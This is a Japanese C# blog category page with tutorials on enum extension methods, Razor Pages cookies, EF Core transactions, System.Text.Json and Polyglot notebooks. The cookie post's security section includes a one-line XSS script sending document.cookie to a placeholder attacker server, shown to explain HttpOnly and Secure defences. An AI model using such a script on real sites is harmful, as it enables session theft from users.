カテゴリー: C#

  • [C#]Enum型に拡張メソッドを実装できる

    はじめに

    Enum型に拡張メソッドを定義できると知ったので、まとめます。

    C#では、Enum型を使用して名前付き定数のセットを定義できます。これにより、コードの可読性と保守性が向上します。しかし、Enum型は静的であるため、直接その機能を拡張することはできません。ここで登場するのが「拡張メソッド」です。本記事では、Enum型に拡張メソッドを定義する方法と、そのメリットについて解説します。

    Enum型とは

    Enum型(列挙型)は、関連する定数の集合を定義するために使用されます。例えば、以下のように定義します:

    public enum Status
    {
        Active,
        Inactive,
        Suspended,
        Deleted
    }

    拡張メソッドとは

    拡張メソッドは、既存の型に対して新しいメソッドを追加するための機能です。クラスや構造体、インターフェースだけでなく、Enum型に対しても拡張メソッドを定義できます。拡張メソッドは通常、静的クラス内で静的メソッドとして定義されます。

    Enum型に拡張メソッドを定義する

    例えば、Status Enumに対して、各状態の説明を返す拡張メソッドを定義してみましょう。

    1. まず、静的クラスを定義します。
    2. 静的メソッドとして拡張メソッドを定義し、第1引数にthisキーワードを使って拡張する型を指定します。
    public static class StatusExtensions
    {
        public static string GetDescription(this Status status) => status switch
        {
            Status.Active => "The entity is active",
            Status.Inactive => "The entity is inactive",
            Status.Suspended => "The entity is suspended",
            Status.Deleted => "The entity is deleted",
            _ => "Unknown status"
        };
    }

    拡張メソッドを使用するメリット

    Enum型に拡張メソッドを定義することには以下のようなメリットがあります。

    1. コードの可読性向上:
      • Enumの値に対して直接的に操作を行うメソッドを提供することで、コードの可読性が向上します。上記の例では、GetDescriptionメソッドを使用することで、各Enum値の説明を簡単に取得できます。
    2. 再利用性の向上:
      • 拡張メソッドは一度定義すると、どこからでも簡単に利用できます。これにより、同じロジックを複数箇所で再利用することが容易になります。
    3. コードの分離:
      • Enum型自体の定義を変更することなく、追加の機能を外部に分離して実装できるため、コードの分離とモジュール化が促進されます。
    4. 保守性の向上:
      • 拡張メソッドを使用することで、Enumの機能拡張が容易になります。新しいEnum値が追加された場合でも、拡張メソッドを更新するだけで済むため、メンテナンスが容易です。

    静的クラスを使う場合との比較

    自分は、今まで静的クラスに定義していたため、無駄によく分からない静的クラスが定義されることになり、利用箇所でもこのクラスが登場するため、処理が見にくいなと感じていました。

    public static class StatusConverter
    {
        public static string GetDescription(Status status) => status switch
        {
            Status.Active => "The entity is active",
            Status.Inactive => "The entity is inactive",
            Status.Suspended => "The entity is suspended",
            Status.Deleted => "The entity is deleted",
            _ => "Unknown status"
        };
    }

    静的クラスを使う方法だと、

    var status = Status.Active;
    var description = StatusConverter.GetDescription(status);

    となりますが、拡張メソッドを使えば、以下のように謎の静的クラスStatusConverterが登場せずに済み、可読性、保守性が上がります。

    var status = Status.Active;
    var description = status.GetDescription();

    拡張メソッドのデメリット

    拡張メソッドのデメリットとして、よくどこでも定義できてしまうことが挙げられます。チームの合意の上で、どこに実装するかを決めるのが良いです。

    まとめ

    Enum型に拡張メソッドを定義することで、Enumに対する操作を簡素化し、コードの可読性と再利用性を向上させることができます。静的クラス内で拡張メソッドを定義するだけで、既存のEnum型に新しい機能を追加できるため、C#の強力な機能を活用して効率的なプログラミングが可能になります。これを機に、Enum型に拡張メソッドを定義して、あなたのプロジェクトに役立ててみてください。

  • C# Razor Pagesでクッキーを管理する方法

    はじめに

    このブログでは、C# Razor Pagesを使ったウェブ開発におけるクッキーの設定、取得、削除方法を詳しく説明します。クッキーはユーザーのブラウザに情報を保存するための重要なツールであり、サイトの使い勝手を向上させるために広く利用されています。

    クッキーとは?

    クッキーはサーバーからユーザーのブラウザに送信される小さなデータ片で、ユーザーがサイトを再訪した際にその情報をサーバーに送り返すことができます。これにより、ユーザー固有の設定やセッション情報を保持することが可能になります。

    クッキーの設定方法

    Razor Pagesでクッキーを設定する基本的な流れは以下の通りです。

    1.HttpContextの活用
    HttpContextResponseオブジェクトを通じてクッキーを追加します。

    2.CookieOptionsの設定
    クッキーの有効期限やセキュリティ設定を定義します。

    var cookieOptions = new CookieOptions {
        Expires = DateTime.Now.AddDays(1),
        HttpOnly = true,
        Secure = true
    };

    3.クッキーの追加
    Response.Cookies.Appendメソッドを使ってクッキーを追加します。

    Response.Cookies.Append("CookieName", "CookieValue", cookieOptions);

    クッキーの取得と削除

    クッキーの取得はRequest.Cookiesを使い、削除はResponse.Cookies.Deleteを使用します。

    // クッキーの取得
    string cookieValue = Request.Cookies["CookieName"];
    
    // クッキーの削除
    Response.Cookies.Delete("CookieName");

    実践的な使用例

    例えば、ユーザーの言語設定をクッキーに保存することで、サイト訪問ごとにその設定を読み込み、カスタマイズされたコンテンツを提供することができます。

    セキュリティの考慮事項

    クッキーはセキュリティ上のリスクも伴うため、適切なオプション設定が重要です。HttpOnlySecure属性を適切に使用して、クロスサイトスクリプティング(XSS)やマンインザミドル攻撃(MITM)から保護しましょう。

    クロスサイトスクリプティング(XSS)

    クッキーがXSS攻撃に利用される一般的なシナリオは、攻撃者がスクリプトを介してクッキーからユーザーのセッショントークンやその他の機密情報を抜き出し、それを外部のサーバーに送信するケースです。例えば、以下のJavaScriptスニペットは、クッキーの内容を盗むことができてしまいます。

    <script>document.location='http://攻撃者のサーバー/?cookie=' + document.cookie;</script>

    XSS攻撃からクッキーを守るための対策は以下の通りです。

    HttpOnlyフラグの使用: HttpOnlyフラグをクッキーに設定すると、JavaScriptを通じたクッキーのアクセスがブロックされます。これにより、もしXSS攻撃が発生しても、攻撃者はクッキーにアクセスできなくなります。

    var cookieOptions = new CookieOptions
    {
        HttpOnly = true,
        Secure = true
    };

    入力の検証とサニタイズ: ユーザーからの入力を適切に検証し、悪意のあるスクリプトが実行されないようにサニタイズします。HTMLエンティティのエスケープや、信頼できるライブラリの使用が効果的です。

    マンインザミドル攻撃(MITM)

    マンインザミドル(MITM)攻撃は、通信の途中で攻撃者がデータを傍受、改ざん、または再送する形式のサイバー攻撃です。特にクッキーを使用するウェブアプリケーションにおいては、クッキーが攻撃者によって盗まれることで、セッションハイジャックや個人情報の漏洩などが起こる可能性があります。

    この攻撃は、主に通信が暗号化されていない場合に発生します。例えば、HTTPプロトコル(非SSL/TLS)を使用している場合、送信されるデータ(クッキー含む)は平文であり、ネットワーク上で容易に傍受されます。攻撃者はこの傍受したクッキーを使用して、被害者のアカウントにアクセスしたり、悪意ある行動を取ることが可能です。

    対策方法
    1. HTTPSの使用: すべてのページでHTTPSを使用することで、データを暗号化し、傍受や改ざんを防ぎます。
    2. セキュアフラグの設定: クッキーにセキュアフラグを設定することで、クッキーがHTTPSプロトコルを通じてのみ送信されるようになります。これにより、MITM攻撃によるクッキーの傍受を防ぎます。
    var cookieOptions = new CookieOptions {
        Secure = true
    };

    まとめ

    Razor Pagesでのクッキー管理は、セキュリティとユーザビリティのバランスを取りながら効果的に実行することが可能です。このブログを参考にして、より良いユーザー体験を提供するウェブアプリケーションの開発に役立ててください。

  • C#とMySQLでトランザクションを実現する方法

    導入

    データベーストランザクションは、一連の操作を一つの単位として扱い、全ての操作が完了するか、一つでも失敗した場合には全てを元に戻す(ロールバックする)ための仕組みです。これにより、データの整合性と安全性が保たれます。本記事では、C#の.NET8、EFCore8でMySQLデータベースを扱う際のトランザクションの基本的な使い方を解説します。

    環境設定

    .NET8SDKが必要です。インストールしていない場合は、下記からインストールしてください。

    .NET のダウンロード (Linux、macOS、Windows) (microsoft.com)

    続いて、プロジェクト作成後、下記のパッケージを追加します。

    dotnet add package Microsoft.EntityFrameworkCore
    dotnet add package MySql.Data.EntityFrameworkCore

    DbContextの設定

    DbContextを設定し、EF Coreがデータベース操作を行えるようにします。以下のコードを参考にしてください。

    今回は簡単のために接続文字列をDbContext に書いていますが、設定ファイル等から読み込めるようにしてください。

    using Microsoft.EntityFrameworkCore;
    
    public class MyDbContext : DbContext
    {
        public DbSet<Employee> Employees { get; set; }
    
        protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)
        {
            optionsBuilder.UseMySQL("server=localhost;database=myDatabase;user=myUser;password=myPassword");
        }
    }
    
    public class Employee
    {
        public int Id { get; set; }
        public string Name { get; set; }
        public string Position { get; set; }
    }

    トランザクションの開始

    EF CoreのDatabaseプロパティを使用してトランザクションを開始し、管理します。

    using var context = new MyDbContext();
    using var transaction = context.Database.BeginTransaction();
    
    try
    {
        context.Employees.Add(new Employee { Name = "Jane Doe", Position = "Web Developer" });
        context.SaveChanges();
    
        transaction.Commit();
        Console.WriteLine("Transaction committed successfully.");
    }
    catch (Exception ex)
    {
        transaction.Rollback();
        Console.WriteLine($"An error occurred: {ex.Message}");
    }

    2行目でトランザクションを貼っています。

    6行目でDbContextに値を追加し、7行目で確定させます。

    9行目でトランザクションを完了させます。

    13行目で例外があった場合、トランザクションをロールバックさせます。context.SaveChages() 実行後でも、例外が発生すれば、ロールバックさせます。

    ベストプラクティス

    DbContext、トランザクションを使用する際には、その範囲を最小限にすることが推奨されます。また、エラーハンドリングを適切に行い、予期しない失敗からデータを保護することが重要です。

    まとめ

    MySql.Data.EntityFrameworkCoreを使用することで、EF Core 8とC#を用いたMySQLデータベース操作が容易になります。この記事が、より安全で効率的なデータベース管理の実現に役立つことを願っています。

  • [C#, .NET8] System.Text.Jsonの使い方

    普通のクラスをJSONにシリアライズして、その後、デシリアライズしてみましょう。

    使うクラスはこんな感じで適当なものを用意しました。

    public record Person
    {
        public int Id { get; set; }
        public string Name { get; set; }
    }
    
    var p1 = new Person{ Id = 1, Name="Taro" };
    var p2 = new Person{ Id = 2, Name="Jiro" };

    PersonクラスにIdNameだけを持たせておいて、これを操作していきます。

    次の例では、単にJSONにシリアライズして、その後、そのまま文字列をデシリアライズするというものです。

    オブジェクト単体で

    using System.Text.Json;
    
    var jsonP1 = JsonSerializer.Serialize<Person>(p1);
    Console.WriteLine(jsonP1);
    var p3 = JsonSerializer.Deserialize<Person>(jsonP1);
    Console.WriteLine($"person:{p3.Id}, {p3.Name}");
    {"Id":1,"Name":"Taro"}
    person:1, Taro

    特に何も指定が無ければ、JSONの属性名は、C#と同じものがつきます。

    JSONなので、Javascript的に先頭を小文字にしたい場合があると思います。その場合は、System.Text.Json.Serialization を読み込んであげて、各プロパティにJsonPropertyName属性を付けます。引数に文字列を入れれば、任意のプロパティ名を付けられます。

    using System.Text.Json.Serialization;
    public record Person
    {
        [JsonPropertyName("id")]
        public int Id { get; set; }
        [JsonPropertyName("name")]
        public string Name { get; set; }
    }
    
    var p4 = new Person{ Id = 4, Name="Shiro" };
    
    var jsonP4 = JsonSerializer.Serialize<Person>(p4);
    Console.WriteLine(jsonP4);
    var p5 = JsonSerializer.Deserialize<Person>(jsonP4);
    Console.WriteLine($"person:{p5.Id}, {p5.Name}");
    {"id":4,"name":"Shiro"}
    person:4, Shiro

    配列で

    var jsonPArray = JsonSerializer.Serialize<Person[]>([p1,p2]);
    Console.WriteLine(jsonPArray);
    var pArray = JsonSerializer.Deserialize<Person[]>(jsonPArray);
    foreach(var p in pArray)
    {
        Console.WriteLine($"person:{p.Id}, {p.Name}");
    }
    [{"Id":1,"Name":"Taro"},{"Id":2,"Name":"Jiro"}]
    person:1, Taro
    person:2, Jiro

    配列の場合も同様です。配列を入れたら、配列のJSONが返ってきて、デシリアライズもできます。

    オブジェクトで

    もちろん入れ子構造になっている場合もきちんとシリアライズして、デシリアライズできます。

    下記の例では、オブジェクトの中に配列を持っている場合を示しています。

    public record Group
    {
        public int GroupId { get; set; }
        public Person[] People { get; set; }
    }
    
    var group = new Group{ GroupId=1, People = [p1, p2] };
    
    var jsonG = JsonSerializer.Serialize<Group>(group);
    Console.WriteLine(jsonG);
    var g = JsonSerializer.Deserialize<Group>(jsonG);
    Console.WriteLine($"group:{g.GroupId}");
    foreach(var p in g.People)
    {
        Console.WriteLine($"person:{p.Id}, {p.Name}");
    }
    {"GroupId":1,"People":[{"Id":1,"Name":"Taro"},{"Id":2,"Name":"Jiro"}]}
    group:1
    person:1, Taro
    person:2, Jiro

    以上です。

  • [C#, .NET8] PolyglotでC#を使いたい

    詳細は下記記事を参照してください。

    Polyglot Programming with Notebooks in Visual Studio Code

    C#で作ってるものが動くか簡単に確認したい

    Polyglotがあるじゃない!

    導入

    Polyglotって?

    ノートブックを作成して、その上でC#等を動かせます。

    C#をビルドなしに対話型で動作検証できるので、個人的には、プロトタイプ作成等で重宝しています。

    元々はオープンソースプロジェクトJupyterによって普及し、Pythonデータサイエンスで事実上のツールとなり、新しいプログラミング言語を教えたり学んだりするためや、素早いプロトタイピングにも優れたリソースとなっています。(翻訳BY ChatGPT4)

    インストール

    というわけで、インストールしていきましょう。

    必要なものは二つです。

    • VSCodeにPolyglot NoteBookの拡張機能
    • .NET7以降のSDK

    Polyglot Notebooks – Visual Studio Marketplace

    .NET のダウンロード (Linux、macOS、Windows) (microsoft.com)

    (記事公開時点では、.NET8がLTSとなっていますので、以降は、.NET8での確認となります)

    使い方

    ipynb拡張子のファイルを作成して、後はC#コードを書くだけです。

    実際のVSCodeの画面がこちら

    こんな感じで右三角➤をクリックすれば、ビルドなしに”hogehoge”を出力することができます。

    NoteBook上にクラス定義もできますし、ライブラリの読み込みもできます。

    クラス定義

    クラス定義できます

    ライブラリ読み込み

    #r “nuget: [ライブラリ名]”でライブラリを読み込み出来ます。

    以上です。

    ちなみにBogusは、JavascriptライブラリのFakerのようなもので、ダミーデータを作るライブラリです。